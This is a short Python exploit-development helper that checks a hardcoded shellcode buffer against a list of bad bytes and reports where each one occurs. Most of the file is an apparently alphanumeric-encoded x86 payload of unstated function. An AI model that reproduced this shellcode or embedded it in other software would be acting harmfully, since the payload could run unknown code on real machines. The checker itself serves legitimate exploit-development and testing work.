Files
Paolo 'VoidSec' Stagno 13e6e21d69 bad chars checker
2020-04-19 11:18:11 +02:00

71 lines
4.1 KiB
Python

"""
Full title: Bad characters checker
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Usage: Provide a shellcode and a list of bad characters; the script will check if any bad characters is present in the shellcode and it will output is position.
"""
#!/usr/bin/python
buf=""
buf += b"\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += b"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += b"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += b"\x6b\x4c\x69\x78\x4c\x42\x75\x50\x37\x70\x67\x70\x43"
buf += b"\x50\x6e\x69\x59\x75\x45\x61\x6b\x70\x42\x44\x4c\x4b"
buf += b"\x32\x70\x70\x30\x6e\x6b\x30\x52\x66\x6c\x6e\x6b\x36"
buf += b"\x32\x64\x54\x6c\x4b\x32\x52\x54\x68\x64\x4f\x4c\x77"
buf += b"\x63\x7a\x55\x76\x50\x31\x39\x6f\x4e\x4c\x45\x6c\x31"
buf += b"\x71\x51\x6c\x54\x42\x46\x4c\x55\x70\x4b\x71\x68\x4f"
buf += b"\x66\x6d\x76\x61\x79\x57\x59\x72\x6c\x32\x76\x32\x51"
buf += b"\x47\x4e\x6b\x53\x62\x64\x50\x4e\x6b\x73\x7a\x35\x6c"
buf += b"\x6c\x4b\x62\x6c\x34\x51\x64\x38\x4d\x33\x62\x68\x47"
buf += b"\x71\x4a\x71\x36\x31\x6e\x6b\x56\x39\x61\x30\x47\x71"
buf += b"\x69\x43\x6e\x6b\x30\x49\x62\x38\x6a\x43\x76\x5a\x32"
buf += b"\x69\x4e\x6b\x35\x64\x4c\x4b\x63\x31\x38\x56\x56\x51"
buf += b"\x69\x6f\x4e\x4c\x39\x51\x48\x4f\x54\x4d\x73\x31\x4f"
buf += b"\x37\x64\x78\x6b\x50\x61\x65\x68\x76\x56\x63\x43\x4d"
buf += b"\x6b\x48\x55\x6b\x31\x6d\x76\x44\x62\x55\x78\x64\x36"
buf += b"\x38\x6c\x4b\x30\x58\x51\x34\x47\x71\x58\x53\x73\x56"
buf += b"\x6e\x6b\x66\x6c\x52\x6b\x4e\x6b\x36\x38\x65\x4c\x43"
buf += b"\x31\x6e\x33\x4c\x4b\x34\x44\x4e\x6b\x56\x61\x48\x50"
buf += b"\x4f\x79\x77\x34\x66\x44\x46\x44\x61\x4b\x73\x6b\x65"
buf += b"\x31\x53\x69\x63\x6a\x43\x61\x79\x6f\x4d\x30\x43\x6f"
buf += b"\x71\x4f\x61\x4a\x6e\x6b\x56\x72\x78\x6b\x6e\x6d\x51"
buf += b"\x4d\x73\x58\x56\x53\x30\x32\x37\x70\x77\x70\x53\x58"
buf += b"\x33\x47\x74\x33\x36\x52\x61\x4f\x51\x44\x45\x38\x62"
buf += b"\x6c\x73\x47\x75\x76\x55\x57\x4e\x69\x49\x78\x79\x6f"
buf += b"\x7a\x70\x38\x38\x4a\x30\x65\x51\x75\x50\x45\x50\x47"
buf += b"\x59\x69\x54\x56\x34\x46\x30\x62\x48\x64\x69\x6b\x30"
buf += b"\x32\x4b\x75\x50\x79\x6f\x59\x45\x51\x7a\x74\x4a\x53"
buf += b"\x58\x4b\x70\x6e\x48\x7a\x6e\x66\x61\x32\x48\x46\x62"
buf += b"\x65\x50\x47\x61\x53\x6c\x6c\x49\x58\x66\x52\x70\x72"
buf += b"\x70\x32\x70\x72\x70\x73\x70\x42\x70\x73\x70\x32\x70"
buf += b"\x33\x58\x59\x7a\x44\x4f\x69\x4f\x59\x70\x39\x6f\x6e"
buf += b"\x35\x4f\x67\x61\x7a\x66\x70\x62\x76\x33\x67\x32\x48"
buf += b"\x4d\x49\x6c\x65\x71\x64\x30\x61\x79\x6f\x7a\x75\x4f"
buf += b"\x75\x69\x50\x42\x54\x54\x4c\x59\x6f\x52\x6e\x63\x38"
buf += b"\x30\x75\x58\x6c\x35\x38\x48\x70\x78\x35\x6d\x72\x32"
buf += b"\x76\x6b\x4f\x7a\x75\x70\x6a\x37\x70\x30\x6a\x65\x54"
buf += b"\x30\x56\x72\x77\x32\x48\x56\x62\x49\x49\x7a\x68\x61"
buf += b"\x4f\x59\x6f\x5a\x75\x6c\x4b\x47\x46\x31\x7a\x37\x30"
buf += b"\x52\x48\x37\x70\x76\x70\x63\x30\x47\x70\x51\x46\x53"
buf += b"\x5a\x37\x70\x53\x58\x43\x68\x4d\x74\x71\x43\x4d\x35"
buf += b"\x59\x6f\x4e\x35\x4a\x33\x56\x33\x33\x5a\x67\x70\x61"
buf += b"\x46\x70\x53\x53\x67\x31\x78\x53\x32\x4e\x39\x39\x58"
buf += b"\x33\x6f\x79\x6f\x49\x45\x67\x71\x69\x53\x45\x79\x7a"
buf += b"\x66\x43\x45\x58\x6e\x38\x43\x41\x41"
badchars=""
badchars+="\x00\x0a\x0d\x7f"
badchars+="\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
i=0
flag=False
while(i < len(buf)):
if(buf[i] in badchars):
flag=True
print("- Badchar found at pos {}: 0x{}".format(i,buf[i].encode("hex")))
i+=1
if flag == True:
print("[!] Shellcode has badchars")
else:
print("[+] Good to go!")